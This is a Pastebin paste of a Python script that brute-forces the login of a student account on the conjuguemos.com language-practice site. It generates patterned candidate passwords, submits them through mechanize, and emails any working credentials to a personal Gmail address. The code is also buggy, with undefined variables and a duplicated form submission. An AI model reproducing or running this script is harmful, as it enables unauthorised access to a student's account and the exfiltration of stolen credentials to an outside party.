Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import mechanize
- from mailer import mail
- from time import sleep
- username = '117482'
- def generate_passes():
- t = 0
- possible = []
- for a in range(10):
- for b in range(10):
- for c in range(10):
- for d in range(10):
- for e in range(10):
- nums.append('%s%s%s%s%s' % (a,b,c,d,e))
- passes.append('Tc%s%s%s%s%s!' % (a,b,c,d,e))
- t+=1
- h = t/60/60
- m = (t/60 - ((t/60/60)*60))
- print '%s possible passwords, estimated ~%s hours and %s minutes' % (t, h, m)
- return passes
- def attempt(uname, passwd):
- browser.form['identity'] = uname
- browser.form['password'] = password
- response = browser.submit()
- return ('https://conjuguemos.com/student' in response.geturl())
- possible = generate_passes()
- browser = mechanize.Browser()
- n = 0
- while True:
- password = passes[n]
- n += 1
- browser.open('https://conjuguemos.com/auth/login')
- browser.select_form(nr = 2)
- browser.form['identity'] = str(username)
- browser.form['password'] = password
- response = browser.submit()
- if attempt(username, password):
- creds = 'Username: ' + username + '\nPassword: ' + password
- print '[+] Success!\n' + creds
- mail('ausaf100@gmail.com', 'Login Success', creds)
- break
- else:
- print '[*] Attempt %s: Login failed with %s, trying again...' % (n, password)
- if n >= 30:
- print response.read()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement